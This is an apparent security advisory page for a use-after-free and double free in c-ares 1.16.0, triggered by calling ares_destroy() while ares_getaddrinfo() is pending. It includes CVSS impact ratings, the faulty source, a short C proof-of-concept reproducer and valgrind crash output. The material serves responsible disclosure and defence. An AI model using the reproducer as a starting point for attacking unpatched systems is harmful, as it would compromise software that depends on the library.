The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
c-ares 1.16.0: ares_destroy() with pending ares_getaddrinfo() leads to use-after-free
The following code was introduced in c-ares commit dbd4c441 (first released in 1.16.0, which was published on 2020-03-13), as part of the new ares_getaddrinfo() feature:
=========================================================
static void end_hquery(struct host_query *hquery, int status)
{
[...]
hquery->callback(hquery->arg, status, hquery->timeouts, hquery->ai);
ares_free(hquery->name);
ares_free(hquery);
}
static void host_callback(void *arg, int status, int timeouts,
unsigned char *abuf, int alen)
{
struct host_query *hquery = (struct host_query*)arg;
int addinfostatus = ARES_SUCCESS;
[...]
if (status == ARES_SUCCESS)
[...]
else if (status == ARES_EDESTRUCTION)
{
end_hquery(hquery, status);
}
if (!hquery->remaining)
{
if (addinfostatus != ARES_SUCCESS)
[...]
else if (hquery->ai->nodes)
{
/* at least one query ended with ARES_SUCCESS */
end_hquery(hquery, ARES_SUCCESS);
}
else if (status == ARES_ENOTFOUND)
[...]
else
{
end_hquery(hquery, status);
}
}
/* at this point we keep on waiting for the next query to finish */
}
=========================================================
In the ARES_EDESTRUCTION case, host_callback() ends up calling end_hquery() twice (unless it crashes before the second call), and the second call will, among other things, call a function pointer from freed memory and free the memory a second time.
Here's a reproducer:
=========================================================
#include <ares.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
static void gai_cb(void *arg, int status, int timeouts,
struct ares_addrinfo *result) {
printf(\"gai_cb(): %s\
\", ares_strerror(status));
}
int main(void) {
if (ares_library_init(ARES_LIB_INIT_ALL))
errx(1, \"ares_library_init\");
ares_channel chan;
if (ares_init(&chan))
errx(1, \"ares_init\");
ares_getaddrinfo(chan, \"blah\", NULL, NULL, gai_cb, NULL);
ares_destroy(chan);
return 0;
}
=========================================================
Output (from a test against c-ares from Debian testing):
=========================================================
user@vm:~/test/cares-gai-destroy$ valgrind ./cares-gai-destroy-uaf
==5248== Memcheck, a memory error detector
==5248== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==5248== Using Valgrind-3.14.0 and LibVEX; rerun with -h for copyright info
==5248== Command: ./cares-gai-destroy-uaf
==5248==
gai_cb(): Channel is being destroyed
==5248== Invalid read of size 4
==5248== at 0x485F56A: host_callback (ares_getaddrinfo.c:553)
==5248== by 0x486869F: qcallback (ares_query.c:183)
==5248== by 0x485E8D0: ares_destroy (ares_destroy.c:58)
==5248== by 0x109253: main (cares-gai-destroy-uaf.c:18)
==5248== Address 0x4a4ae00 is 80 bytes inside a block of size 88 free'd
==5248== at 0x48369AB: free (vg_replace_malloc.c:530)
==5248== by 0x485F126: end_hquery (ares_getaddrinfo.c:429)
==5248== by 0x485F569: host_callback (ares_getaddrinfo.c:550)
==5248== by 0x486869F: qcallback (ares_query.c:183)
==5248== by 0x485E8D0: ares_destroy (ares_destroy.c:58)
==5248== by 0x109253: main (cares-gai-destroy-uaf.c:18)
==5248== Block was alloc'd at
==5248== at 0x483577F: malloc (vg_replace_malloc.c:299)
==5248== by 0x485F951: ares_getaddrinfo (ares_getaddrinfo.c:650)
==5248== by 0x109247: main (cares-gai-destroy-uaf.c:17)
==5248==
==5248== Invalid read of size 4
==5248== at 0x485F4CD: host_callback (ares_getaddrinfo.c:542)
==5248== by 0x486869F: qcallback (ares_query.c:183)
==5248== by 0x485E8D0: ares_destroy (ares_destroy.c:58)
==5248== by 0x109253: main (cares-gai-destroy-uaf.c:18)
==5248== Address 0x4a4ae00 is 80 bytes inside a block of size 88 free'd
==5248== at 0x48369AB: free (vg_replace_malloc.c:530)
==5248== by 0x485F126: end_hquery (ares_getaddrinfo.c:429)
==5248== by 0x485F569: host_callback (ares_getaddrinfo.c:550)
==5248== by 0x486869F: qcallback (ares_query.c:183)
==5248== by 0x485E8D0: ares_destroy (ares_destroy.c:58)
==5248== by 0x109253: main (cares-gai-destroy-uaf.c:18)
==5248== Block was alloc'd at
==5248== at 0x483577F: malloc (vg_replace_malloc.c:299)
==5248== by 0x485F951: ares_getaddrinfo (ares_getaddrinfo.c:650)
==5248== by 0x109247: main (cares-gai-destroy-uaf.c:17)
==5248==
==5248== Invalid read of size 4
==5248== at 0x485F4D0: host_callback (ares_getaddrinfo.c:541)
==5248== by 0x486869F: qcallback (ares_query.c:183)
==5248== by 0x485E8D0: ares_destroy (ares_destroy.c:58)
==5248== by 0x109253: main (cares-gai-destroy-uaf.c:18)
==5248== Address 0x4a4adec is 60 bytes inside a block of size 88 free'd
==5248== at 0x48369AB: free (vg_replace_malloc.c:530)
==5248== by 0x485F126: end_hquery (ares_getaddrinfo.c:429)
==5248== by 0x485F569: host_callback (ares_getaddrinfo.c:550)
==5248== by 0x486869F: qcallback (ares_query.c:183)
==5248== by 0x485E8D0: ares_destroy (ares_destroy.c:58)
==5248== by 0x109253: main (cares-gai-destroy-uaf.c:18)
==5248== Block was alloc'd at
==5248== at 0x483577F: malloc (vg_replace_malloc.c:299)
==5248== by 0x485F951: ares_getaddrinfo (ares_getaddrinfo.c:650)
==5248== by 0x109247: main (cares-gai-destroy-uaf.c:17)
==5248==
==5248== Invalid write of size 4
==5248== at 0x485F4D6: host_callback (ares_getaddrinfo.c:542)
==5248== by 0x486869F: qcallback (ares_query.c:183)
==5248== by 0x485E8D0: ares_destroy (ares_destroy.c:58)
==5248== by 0x109253: main (cares-gai-destroy-uaf.c:18)
==5248== Address 0x4a4ae00 is 80 bytes inside a block of size 88 free'd
==5248== at 0x48369AB: free (vg_replace_malloc.c:530)
==5248== by 0x485F126: end_hquery (ares_getaddrinfo.c:429)
==5248== by 0x485F569: host_callback (ares_getaddrinfo.c:550)
==5248== by 0x486869F: qcallback (ares_query.c:183)
==5248== by 0x485E8D0: ares_destroy (ares_destroy.c:58)
==5248== by 0x109253: main (cares-gai-destroy-uaf.c:18)
==5248== Block was alloc'd at
==5248== at 0x483577F: malloc (vg_replace_malloc.c:299)
==5248== by 0x485F951: ares_getaddrinfo (ares_getaddrinfo.c:650)
==5248== by 0x109247: main (cares-gai-destroy-uaf.c:17)
==5248==
==5248== Invalid read of size 8
==5248== at 0x485F0BD: end_hquery (ares_getaddrinfo.c:394)
==5248== by 0x485F569: host_callback (ares_getaddrinfo.c:550)
==5248== by 0x486869F: qcallback (ares_query.c:183)
==5248== by 0x485E8D0: ares_destroy (ares_destroy.c:58)
==5248== by 0x109253: main (cares-gai-destroy-uaf.c:18)
==5248== Address 0x4a4adf8 is 72 bytes inside a block of size 88 free'd
==5248== at 0x48369AB: free (vg_replace_malloc.c:530)
==5248== by 0x485F126: end_hquery (ares_getaddrinfo.c:429)
==5248== by 0x485F569: host_callback (ares_getaddrinfo.c:550)
==5248== by 0x486869F: qcallback (ares_query.c:183)
==5248== by 0x485E8D0: ares_destroy (ares_destroy.c:58)
==5248== by 0x109253: main (cares-gai-destroy-uaf.c:18)
==5248== Block was alloc'd at
==5248== at 0x483577F: malloc (vg_replace_malloc.c:299)
==5248== by 0x485F951: ares_getaddrinfo (ares_getaddrinfo.c:650)
==5248== by 0x109247: main (cares-gai-destroy-uaf.c:17)
==5248==
==5248== Invalid read of size 8
==5248== at 0x485F05D: ares_freeaddrinfo (ares_freeaddrinfo.c:54)
==5248== by 0x485F167: end_hquery (ares_getaddrinfo.c:423)
==5248== by 0x485F569: host_callback (ares_getaddrinfo.c:550)
==5248== by 0x486869F: qcallback (ares_query.c:183)
==5248== by 0x485E8D0: ares_destroy (ares_destroy.c:58)
==5248== by 0x109253: main (cares-gai-destroy-uaf.c:18)
==5248== Address 0x0 is not stack'd, malloc'd or (recently) free'd
==5248==
==5248==
==5248== Process terminating with default action of signal 11 (SIGSEGV): dumping core
==5248== Access not within mapped region at address 0x0
==5248== at 0x485F05D: ares_freeaddrinfo (ares_freeaddrinfo.c:54)
==5248== by 0x485F167: end_hquery (ares_getaddrinfo.c:423)
==5248== by 0x485F569: host_callback (ares_getaddrinfo.c:550)
==5248== by 0x486869F: qcallback (ares_query.c:183)
==5248== by 0x485E8D0: ares_destroy (ares_destroy.c:58)
==5248== by 0x109253: main (cares-gai-destroy-uaf.c:18)
==5248== If you believe this happened as a result of a stack
==5248== overflow in your program's main thread (unlikely but
==5248== possible), you can try to increase the size of the
==5248== main thread stack using the --main-stacksize= flag.
==5248== The main thread stack size used in this run was 8388608.
==5248==
==5248== HEAP SUMMARY:
==5248== in use at exit: 74,643 bytes in 7 blocks
==5248== total heap usage: 29 allocs, 22 frees, 95,011 bytes allocated
==5248==
==5248== LEAK SUMMARY:
==5248== definitely lost: 0 bytes in 0 blocks
==5248== indirectly lost: 0 bytes in 0 blocks
==5248== possibly lost: 0 bytes in 0 blocks
==5248== still reachable: 74,643 bytes in 7 blocks
==5248== suppressed: 0 bytes in 0 blocks
==5248== Rerun with --leak-check=full to see details of leaked memory
==5248==
==5248== For counts of detected and suppressed errors, rerun with: -v
==5248== ERROR SUMMARY: 7 errors from 6 contexts (suppressed: 0 from 0)
Segmentation fault
=========================================================
It seems like there are already some users of ares_getaddrinfo() out there:
<https://github.com/envoyproxy/envoy> seems to use ares_getaddrinfo(), and also
uses ares_destroy() - not just on program exit, but also e.g. when handling
ARES_ECONNREFUSED. Luckily for them, they pin some random commit between
releases (which doesn't include the bug yet) in
<https://github.com/envoyproxy/envoy/blame/10125161be0d0a759c3ffb02ddcdf8abc0bc6060/bazel/repository_locations.bzl#L90>.
But there are also some other hits on github for ares_getaddrinfo(), and there
seems to be at least one library that has shipped a release that uses
ares_getaddrinfo().
This bug is subject to a 90 day disclosure deadline. After 90 days elapse,
the bug report will become visible to the public. The scheduled disclosure
date is 2020-08-02. Disclosure at an earlier date is possible if
agreed upon by all parties.
(To clarify: This deadline only applies to when we publish this bug report in
our own bugtracker, nothing else.)
Found by: [email protected]
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum